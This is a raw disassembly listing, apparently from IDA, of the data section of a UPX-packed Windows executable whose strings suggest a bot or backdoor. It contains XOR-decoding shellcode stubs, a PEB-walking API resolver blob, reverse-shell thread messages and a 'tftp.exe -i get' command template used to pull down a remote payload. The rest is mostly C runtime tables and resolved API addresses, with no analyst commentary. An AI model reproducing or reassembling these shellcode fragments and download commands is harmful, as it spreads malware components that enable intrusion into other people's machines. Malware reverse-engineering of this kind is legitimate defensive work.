; char dword_438398[]
dword_438398 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4168D5+A1o
dd 2029671Fh, 2BBBB02h
aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0
align 4
loc_4383E4: ; DATA XREF: sub_416C41+C4o
jmp short loc_4383E8
; ---------------------------------------------------------------------------
loc_4383E6: ; CODE XREF: UPX0:loc_4383E8p
jmp short loc_4383ED
; ---------------------------------------------------------------------------
loc_4383E8: ; CODE XREF: UPX0:loc_4383E4j
call loc_4383E6
loc_4383ED: ; CODE XREF: UPX0:loc_4383E6j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_4383F2 dw 0FFFFh ; DATA XREF: sub_416C41+CCw
db 80h, 73h, 0Eh
byte_4383F7 db 0FFh ; DATA XREF: sub_416C41+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_4383FC: ; DATA XREF: sub_416C41+A2o
jmp short loc_438400
; ---------------------------------------------------------------------------
loc_4383FE: ; CODE XREF: UPX0:loc_438400p
jmp short loc_438405
; ---------------------------------------------------------------------------
loc_438400: ; CODE XREF: UPX0:loc_4383FCj
call loc_4383FE
loc_438405: ; CODE XREF: UPX0:loc_4383FEj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_438409 db 0FFh ; DATA XREF: sub_416C41+AAw
dw 7380h
db 0Ch
byte_43840D db 0FFh ; DATA XREF: sub_416C41+B0w
dw 0E243h
dd 0F9h
dword_438414 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_416ACA+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_438478 dd 12h ; DATA XREF: sub_416ACA+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ACA+79o
aJ db 'j',0
db 0E8h
dword_438491 dd 17h ; DATA XREF: sub_416ACA+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_438498
retn
; ---------------------------------------------------------------------------
byte_438498 db 0E8h ; CODE XREF: UPX0:00438495j
dword_438499 dd 1 ; DATA XREF: sub_416ACA+45w
byte_43849D db 0, 6Ah, 0 ; DATA XREF: sub_416ACA+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_4384A7 dd 0FFFFFFEDh ; DATA XREF: sub_416ACA+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi ; RtlGetLastWin32Error
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_416E05+10o
; char aSNoSThreadFoun[]
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FD6+51o
; char aSSStopped_DThr[]
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FD6+35o
dword_438528 dd 6793h ; DATA XREF: sub_4172EE+4w _randr ...
align 10h
dword_438530 dd 173Fh ; DATA XREF: _floor+Dr
dd 9875h, 9873h
off_43853C dd offset __fpmath ; DATA XREF: __cinitr
dd offset nullsub_2
dd offset nullsub_2
dword_438548 dd 1B3Fh ; DATA XREF: _ceil+Dr
dword_43854C dd 19930520h, 4 dup(0) ; DATA XREF: __NLG_Notify1+2o
; __NLG_Notify+2o
off_438560 dd offset __exit ; DATA XREF: __amsg_exit+1Cr
dword_438564 dd 2 ; DATA XREF: __FF_MSGBANNER+Er
; __NMSG_WRITE+46r ...
off_438568 dd offset aNull_2 ; DATA XREF: __output:loc_419F8Cr
; __output+457r
; "(null)"
off_43856C dd offset aNull ; DATA XREF: __output+259r
; "(null)"
off_438570 dd offset __wctype+2 ; DATA XREF: _atol+23r
; _atol:loc_4177E5r ...
off_438574 dd offset __wctype+2 ; DATA XREF: _iswctype+18r
public __wctype
; const unsigned __int16 _wctype[]
__wctype dd 200000h ; DATA XREF: _x_ismbbtype+18r
; UPX0:off_438570o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
; size_t SrcSizeInBytes
SrcSizeInBytes dd 1 ; DATA XREF: _atol:loc_41778Cr
; _atol:loc_4177D0r ...
byte_438780 db 2Eh ; DATA XREF: __forcdecpt:loc_41BE34r
; __cropzeros+4r ...
align 4
dd 1, 10h
dword_43878C dd 3F8h ; DATA XREF: __heap_alloc+5r
; _realloc+4Dr ...
dword_438790 dd 14h ; DATA XREF: __get_fname+2o
off_438794 dd offset aExp ; DATA XREF: __get_fname:loc_41BB5Ar
; "exp"
dd 1Dh, 4237D4h, 1Ah, 4237D0h, 1Bh, 4237C8h, 1Fh, 4237C0h
dd 13h, 4237B8h, 21h, 4237B0h, 0Eh, 4237A8h, 0Dh, 4237A0h
dd 0Fh, 423798h, 10h, 423790h, 5, 423788h, 1Eh, 423784h
dd 12h, 423780h, 20h, 42377Ch, 0Ch, 423774h, 0Bh, 42376Ch
dd 15h, 423764h, 1Ch, 42375Ch, 19h, 423754h, 11h, 42374Ch
dd 18h, 423744h, 16h, 42373Ch, 17h, 423734h, 22h, 423730h
dd 23h, 42372Ch, 24h, 423728h
dbl_438868 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+B7r
; __handle_exc:loc_41B95Fr ...
dd 0
dd 0FFF80000h
dbl_438878 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+92r
; __handle_exc:loc_41B937r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_438890 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Dr
; __set_statfp+1Fr
align 4
tbyte_43889C dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+31r
align 4
off_4388A8 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+Fw
; __output+3AAr
off_4388AC dd offset __cropzeros ; DATA XREF: __cfltcvt_init+5w
; __output+3E2r
off_4388B0 dd offset __fassign ; DATA XREF: __cfltcvt_init+14w
; __input+430r
off_4388B4 dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+1Ew
; __output+3CBr
off_4388B8 dd offset __positive ; DATA XREF: __cfltcvt_init+28w
off_4388BC dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+32w
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
align 10h
dd offset sub_41CA7C
off_4388D4 dd offset sub_41CA7C ; DATA XREF: sub_41CAD2+29r
dword_4388D8 dd 0D2D0920h, 5Dh ; DATA XREF: __input:loc_41D246o
dword_4388E0 dd 5Dh, 0 ; DATA XREF: __input:loc_41D136o
byte_4388E8 db 1 ; DATA XREF: __setmbcp+E1r
db 2, 4, 8
align 10h
dword_4388F0 dd 3A4h ; DATA XREF: __setmbcp+2Fo
dd 82798260h, 21h, 0 ; DATA XREF: __setmbcp+11Dr
dword_438900 dd 0DFA6h ; DATA XREF: __setmbcp+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4389E0 dd 1 ; DATA XREF: __setmbcp+3Co
; __dosmaperr+Co
dword_4389E4 dd 16h ; DATA XREF: __dosmaperr:loc_41E4ECr
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_438B48 dd 0C0000005h ; DATA XREF: __dosmaperr+19o
; _xcptlookup+Ar ...
dword_438B4C dd 0Bh ; DATA XREF: _siglookup+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_438BC0 dd 3 ; DATA XREF: __XcptFilter+58r
; _raise+C8r
dword_438BC4 dd 7 ; DATA XREF: __XcptFilter+5Er
; _raise+CDr
dword_438BC8 dd 0Ah ; DATA XREF: _xcptlookup+4r
; _siglookup+4r
dword_438BCC dd 8Ch ; DATA XREF: __XcptFilter+82r
; __XcptFilter+8Fw ...
dword_438BD0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: __flsbuf:loc_419BD0o
; __filbuf:loc_41D811o
dword_438BD8 dd 2 ; DATA XREF: __NMSG_WRITE+Eo
; __NMSG_WRITE+28r
off_438BDC dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr
; __NMSG_WRITE+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 423AF4h, 9, 423AC8h, 0Ah, 423AA4h, 10h, 423A78h
dd 11h, 423A48h, 12h, 423A24h, 13h, 4239F8h, 18h, 4239C0h
dd 19h, 423998h, 1Ah, 423960h, 1Bh, 423928h, 1Ch, 423900h
dd 78h, 4238F0h, 79h, 4238E0h, 7Ah, 4238D0h, 0FCh, 4293B0h
dd 0FFh, 4238C0h
off_438C68 dd offset dword_4872E0 ; DATA XREF: __NMSG_WRITE+1Bo
; ___initstdio+55o
align 10h
dd offset dword_4872E0
dd 101h
dword_438C78 dd 0FFFFFFFFh, 0 ; DATA XREF: ___initstdio+72o
dd 1000h, 0
dword_438C88 dd 3 dup(0) ; DATA XREF: __flsbuf+50o __stbuf+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_438CA8 dd 3 dup(0) ; DATA XREF: __flsbuf+58o
; __stbuf:loc_41A6B0o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_438CD8 dd 84h dup(0) ; DATA XREF: ___initstdio+9Bo
dword_438EE8 dd 2694h ; DATA XREF: __handle_qnan1+3r
; __except1+46r ...
align 10h
dword_438EF0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_41FBC2o
dword_438F08 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41FBD8o
dword_438F20 dd 7080h ; DATA XREF: ___loctotime_t+76r
; __tzset+5Ew ...
dword_438F24 dd 1 ; DATA XREF: ___loctotime_t+98r
; __tzset+8Bw ...
dword_438F28 dd 0FFFFF1F0h ; DATA XREF: ___loctotime_t:loc_41CC03r
; __tzset+94w ...
off_438F2C dd offset dword_545350 ; DATA XREF: UPX0:off_438FACo
dd 0Fh dup(0)
off_438F6C dd offset dword_544450 ; DATA XREF: UPX0:off_438FB0o
dd 0Fh dup(0)
; char *off_438FAC
off_438FAC dd offset off_438F2C ; DATA XREF: __tzset+BAr __tzset+D9r ...
; char *off_438FB0
off_438FB0 dd offset off_438F6C ; DATA XREF: __tzset+F4r __tzset+11Br ...
align 8
dword_438FB8 dd 0FFFFFFFFh ; DATA XREF: __tzset+1Dw __isindst+1Er ...
dword_438FBC dd 0 ; DATA XREF: __isindst:loc_420254r
; _cvtdate+BFw
dword_438FC0 dd 0 ; DATA XREF: __isindst+192r
; _cvtdate+E0w
align 8
dword_438FC8 dd 0FFFFFFFFh ; DATA XREF: __tzset+17w __isindst+26r ...
dword_438FCC dd 0 ; DATA XREF: __isindst+13Ar
; _cvtdate+EAw ...
dword_438FD0 dd 0 ; DATA XREF: __isindst+1A1r
; _cvtdate+23r ...
dword_438FD4 dd 0FFFFFFFFh ; DATA XREF: _cvtdate+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_439004 dd 16Dh ; DATA XREF: ___loctotime_t+2Ar
; _cvtdate+2Er ...
dword_439008 dd 0FFFFFFFFh ; DATA XREF: _cvtdate:loc_420358r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_439040 dd 2 dup(0) ; DATA XREF: ___multtenpow12+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_4391A0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: ___multtenpow12+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_4392FC dd offset off_423CC8 ; DATA XREF: UPX0:00423EA4o
; UPX0:00423F90o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_439314 dd offset off_423CC8 ; DATA XREF: UPX0:off_423D58o
; UPX0:00423D98o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_439334 dd offset off_423CC8 ; DATA XREF: UPX0:off_423DA0o
; UPX0:00423DE4o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_439354 dd offset off_423CC8 ; DATA XREF: UPX0:off_423DECo
; UPX0:00423E30o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 8
off_439378 dd offset off_423CC8 ; DATA XREF: UPX0:off_423E38o
; UPX0:00423E74o
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
align 8
byte_439398 db 0 ; DATA XREF: sub_401447+1D3w
; sub_401447+2D2o
align 2
word_43939A dw 0 ; DATA XREF: sub_401447+1E3w
word_43939C dw 0 ; DATA XREF: sub_401447+1E9w
word_43939E dw 0 ; DATA XREF: sub_401447+1F0w
byte_4393A0 db 0 ; DATA XREF: sub_401447+1F7w
byte_4393A1 db 0 ; DATA XREF: sub_401447+1FEw
word_4393A2 dw 0 ; DATA XREF: sub_401447+204w
dword_4393A4 dd 0 ; DATA XREF: sub_401447+234w
; sub_401447+250w
dword_4393A8 dd 0 ; DATA XREF: sub_401447+258w
byte_4393AC db 0 ; DATA XREF: sub_401447+26Aw
byte_4393AD db 0 ; DATA XREF: sub_401447+27Dw
word_4393AE dw 0 ; DATA XREF: sub_401447+295w
word_4393B0 dw 0 ; DATA XREF: sub_401447+2A4w
word_4393B2 dw 0 ; DATA XREF: sub_401447+29Cw
dword_4393B4 dd 101h dup(0) ; DATA XREF: sub_401447+2B9o
dword_4397B8 dd 0 ; DATA XREF: sub_4029E0+9Eo
; char byte_4397BC
byte_4397BC db 0 ; DATA XREF: sub_4029E0+36r
; sub_402AC3+37r ...
align 10h
dword_4397C0 dd 7A5h ; DATA XREF: UPX0:004030D8w
; sub_4030DF+30r ...
dd 2 dup(0)
dword_4397CC dd 2 dup(0) ; DATA XREF: sub_403EB1+68o
; char byte_4397D4[]
byte_4397D4 db 4 dup(0) ; DATA XREF: sub_403951+13o
; sub_40EE51+6123o ...
dword_4397D8 dd 2080Ah ; DATA XREF: sub_404854+8w
; sub_404950+2D3o
align 10h
dword_4397E0 dd 2 dup(0) ; DATA XREF: sub_404950+209o
dword_4397E8 dd 0 ; DATA XREF: sub_4059D9+2Aw
; sub_4059D9+51r ...
dword_4397EC dd 0 ; DATA XREF: sub_4030DF+AEr
; UPX0:004042CBr ...
dd 2 dup(0)
dword_4397F8 dd 0 ; DATA XREF: sub_4071CC+18r
; sub_40761F+92w ...
dword_4397FC dd 0 ; DATA XREF: sub_407758+4Dr
; sub_40796C+D9w ...
dd 3E6h dup(0)
dword_43A798 dd 6 dup(0) ; DATA XREF: sub_407758+CFo
; sub_407758+138o ...
dword_43A7B0 dd 0 ; DATA XREF: sub_407243+82w
; sub_407243+102o
dword_43A7B4 dd 41h dup(0) ; DATA XREF: sub_407243+41o
; char byte_43A8B8[]
byte_43A8B8 db 104h dup(0) ; DATA XREF: sub_407243+63o
dword_43A9BC dd 0 ; DATA XREF: sub_407243+F8w
; sub_407243+114r
dword_43A9C0 dd 0 ; DATA XREF: sub_407243+52w
dword_43A9C4 dd 0 ; DATA XREF: sub_407243+4Dw
; sub_407243+CFr
; char byte_43A9C8[]
byte_43A9C8 db 80h dup(0) ; DATA XREF: sub_407243+9Ao
; sub_407243+BAo
dword_43AA48 dd 0 ; DATA XREF: sub_407243+8Fw
dword_43AA4C dd 0 ; DATA XREF: sub_407243+A7w
; sub_407243+C7w
dword_43AA50 dd 0 ; DATA XREF: sub_407243:loc_40736Dr
align 8
dword_43AA58 dd 0 ; DATA XREF: sub_407243+2D5w
; sub_407243+32Eo
; char Dest[]
Dest db 288h dup(0) ; DATA XREF: sub_407243+2C3o
; char byte_43ACE4[]
byte_43ACE4 db 104h dup(0) ; DATA XREF: sub_407243+28Do
dword_43ADE8 dd 0 ; DATA XREF: sub_407243+2BAw
; sub_407243+2E1r
align 10h
dword_43ADF0 dd 0 ; DATA XREF: sub_407243+324w
; sub_407243+340r
dword_43ADF4 dd 0 ; DATA XREF: sub_407243+2E7w
dword_43ADF8 dd 0 ; DATA XREF: sub_407243+2F4w
dword_43ADFC dd 0 ; DATA XREF: sub_407243+2B4w
dd 0
dword_43AE04 dd 0 ; DATA XREF: sub_407243:loc_407599r
dword_43AE08 dd 0 ; DATA XREF: sub_407243+1A1w
; sub_407243+221o
dword_43AE0C dd 41h dup(0) ; DATA XREF: sub_407243+163o
; char byte_43AF10[]
byte_43AF10 db 104h dup(0) ; DATA XREF: sub_407243+182o
dword_43B014 dd 0 ; DATA XREF: sub_407243+217w
; sub_407243+233r
dword_43B018 dd 0 ; DATA XREF: sub_407243+171w
dword_43B01C dd 0 ; DATA XREF: sub_407243+1EEr
; char byte_43B020[]
byte_43B020 db 80h dup(0) ; DATA XREF: sub_407243+1B9o
; sub_407243+1D9o
dword_43B0A0 dd 0 ; DATA XREF: sub_407243+1AEw
dword_43B0A4 dd 0 ; DATA XREF: sub_407243+1C6w
; sub_407243+1E6w
dword_43B0A8 dd 0 ; DATA XREF: sub_407243:loc_40748Dr
align 10h
dword_43B0B0 dd 0 ; DATA XREF: sub_4087DB+Fr
; sub_4089D4+12r
align 8
; char byte_43B0B8[]
byte_43B0B8 db 200h dup(0) ; DATA XREF: sub_409701+41o
; wchar_t word_43B2B8
word_43B2B8 dw 0 ; DATA XREF: sub_409032+C7o
; sub_40938D+DDo ...
align 4
dd 1FFh dup(0)
; wchar_t word_43BAB8
word_43BAB8 dw 0 ; DATA XREF: sub_409032+D6o
; sub_40938D+F4o ...
align 4
dd 1FFh dup(0)
dword_43C2B8 dd 0 ; DATA XREF: sub_409032+86w
; sub_409204+94r
dword_43C2BC dd 0 ; DATA XREF: sub_409032+A7w
; sub_40966A+55r ...
dword_43C2C0 dd 0 ; DATA XREF: sub_409032+A0w
; sub_409204+D6r ...
dword_43C2C4 dd 0 ; DATA XREF: sub_409032+79w
; sub_409204+35r ...
; char byte_43C2C8[]
byte_43C2C8 db 200h dup(0) ; DATA XREF: sub_40966A+5Eo
dword_43C4C8 dd 0 ; DATA XREF: sub_409032+93w
; sub_409204+A2r
align 10h
dword_43C4D0 dd 0 ; DATA XREF: sub_409032+E7o
; sub_409032+103r ...
dword_43C4D4 dd 0 ; DATA XREF: sub_40938D+17Bw
; sub_409534+107w
; void *Src
Src dd 0 ; DATA XREF: sub_40938D+180w
; sub_409534+10Dw ...
dword_43C4DC dd 0 ; DATA XREF: sub_40938D+159w
; sub_40966A+4Fr
dword_43C4E0 dd 77C72C6Bh ; DATA XREF: sub_4085A0+210r
; sub_4085A0+21Ar ...
dword_43C4E4 dd 77EBA994h ; DATA XREF: sub_40981A+65w
; sub_415179+F5r
dword_43C4E8 dd 7622A3F4h ; DATA XREF: sub_40981A+7EDw
; sub_40981A+862r ...
dword_43C4EC dd 71C45229h ; DATA XREF: sub_40981A+9BAw
; sub_40981A+A18r ...
dword_43C4F0 dd 71C24870h ; DATA XREF: sub_40981A+96Cw
; sub_40981A+9E8r ...
dword_43C4F4 dd 77C71BB0h ; DATA XREF: sub_4085A0+D1r
; sub_40981A+46Fw ...
dword_43C4F8 dd 77D4808Bh ; DATA XREF: sub_40239E+ECr
; sub_40239E+109r ...
dword_43C4FC dd 71C4502Ch ; DATA XREF: sub_40981A+9ADw
; sub_40981A+A10r ...
dword_43C500 dd 77DE801Bh ; DATA XREF: sub_40981A+354w
; sub_40981A+3A9r ...
dword_43C504 dd 77DDACABh ; DATA XREF: sub_40981A+3F1w
; sub_40B8D3+11Er
dword_43C508 dd 77DE8075h ; DATA XREF: sub_40981A+361w
; sub_40981A+3B1r ...
dword_43C50C dd 77DD7496h ; DATA XREF: sub_40981A+3A2w
; sub_40DCE4+ADr
dword_43C510 dd 71AB1B7Bh ; DATA XREF: sub_405AF0+115r
; sub_4084A0+7Dr ...
dword_43C514 dd 77E686CCh ; DATA XREF: sub_40981A+72w
; sub_40981A+D2r ...
dword_43C518 dd 71C2498Bh ; DATA XREF: sub_40981A+95Fw
; sub_40981A+9DBr ...
dword_43C51C dd 77DDAB2Fh ; DATA XREF: sub_40981A+388w
; sub_40981A+3C9r ...
dword_43C520 dd 7620E8C3h ; DATA XREF: sub_40981A+83Bw
; sub_40981A+88Er ...
dword_43C524 dd 77DD23D7h ; DATA XREF: sub_408C13+58r
; sub_40981A+2A5w ...
dword_43C528 dd 76214750h ; DATA XREF: sub_40981A+82Ew
; sub_40981A+886r ...
dword_43C52C dd 77E6D75Bh ; DATA XREF: sub_40981A+B3w
dword_43C530 dd 7620BD61h ; DATA XREF: sub_40981A+848w
; sub_40981A+896r ...
dword_43C534 dd 71AB60C9h ; DATA XREF: sub_407BCB+7Er
; sub_40981A+52Fw ...
dword_43C538 dd 77EBA6E9h ; DATA XREF: sub_40981A+58w
; sub_40981A+CAr ...
dword_43C53C dd 76D62A58h ; DATA XREF: sub_40981A+916w
; sub_40AF81+11Ar
dword_43C540 dd 76F36EAAh ; DATA XREF: sub_40981A+A66w
; sub_40981A+A6Dr ...
dword_43C544 dd 77E802FCh ; DATA XREF: sub_40981A+A6w
; sub_40981A+F2r
dword_43C548 dd 77C75455h ; DATA XREF: sub_4085A0+119r
; sub_40981A+462w ...
dword_43C54C dd 71AB12A7h ; DATA XREF: sub_4075D7+20r
; sub_40981A+5D8w ...
dword_43C550 dd 71C574FAh ; DATA XREF: sub_40981A+9A0w
; sub_40981A+A08r
dword_43C554 dd 71AB1746h ; DATA XREF: sub_40267F+280r
; sub_40981A+5CBw ...
dword_43C558 dd 71B28D0Dh ; DATA XREF: sub_402AC3+9Ar
; sub_40981A+B21w
dword_43C55C dd 762211EFh ; DATA XREF: sub_40981A+7E0w
; sub_40981A+84Fr ...
dword_43C560 dd 77D902E3h ; DATA XREF: sub_40981A+1B3w
; sub_40AC1B+15r
dword_43C564 dd 71C2FA86h ; DATA XREF: sub_40981A+979w
; sub_40981A+9F0r ...
dword_43C568 dd 77DE1291h ; DATA XREF: sub_40981A+36Ew
; sub_40981A+3B9r ...
dword_43C56C dd 77E2C1B3h ; DATA XREF: sub_40981A+37Bw
; sub_40981A+3C1r ...
dword_43C570 dd 73B81E3Bh ; DATA XREF: sub_4087DB+28r
; sub_4089D4+2Br ...
dword_43C574 dd 71ABF628h ; DATA XREF: sub_40981A+68Ew
; sub_41546F+D0r
dword_43C578 dd 71AB1836h ; DATA XREF: sub_4010B2:loc_4013DDr
; sub_401A6D:loc_401D13r ...
dword_43C57C dd 77C72889h ; DATA XREF: sub_4085A0+207r
; sub_40981A+496w
dword_43C580 dd 71C453F8h ; DATA XREF: sub_40981A+9C7w
; sub_40981A+A20r ...
dword_43C584 dd 77DD5C55h ; DATA XREF: sub_40981A+2B2w
; sub_40981A+2DEr ...
dword_43C588 dd 77E96645h ; DATA XREF: sub_40981A+7Fw
; sub_40981A+DAr ...
dword_43C58C dd 77428B97h ; DATA XREF: sub_40981A+B6Ew
; sub_40981A+B75r ...
dword_43C590 dd 71AB41DAh ; DATA XREF: sub_4010B2+2Fr
; sub_401A6D+2Fr ...
dword_43C594 dd 762059A3h ; DATA XREF: sub_40981A+807w
; sub_40981A+872r ...
dword_43C598 dd 71C4A1B4h ; DATA XREF: sub_40981A+986w
; sub_40981A+9F8r
dword_43C59C dd 1F7CD214h ; DATA XREF: sub_40981A+BDFw
; sub_40981A+C10r
dword_43C5A0 dd 77D4456Bh ; DATA XREF: sub_40239E+40r
; sub_40239E+63r ...
dword_43C5A4 dd 76D629BBh ; DATA XREF: sub_40981A+8FCw
; sub_40981A+910r ...
dword_43C5A8 dd 1F7B9D96h ; DATA XREF: sub_40981A+BF9w
dword_43C5AC dd 71AB1740h ; DATA XREF: sub_4010B2:loc_4013A7r
; sub_401447+3Cr ...
dword_43C5B0 dd 7620AFB6h ; DATA XREF: sub_40981A+821w
; sub_40981A+855r
dword_43C5B4 dd 0AA8BE8h ; DATA XREF: sub_40239E+50r
; sub_40239E+78r ...
dword_43C5B8 dd 77D45B19h ; DATA XREF: sub_4087DB+3Fr
; sub_4087DB+69r ...
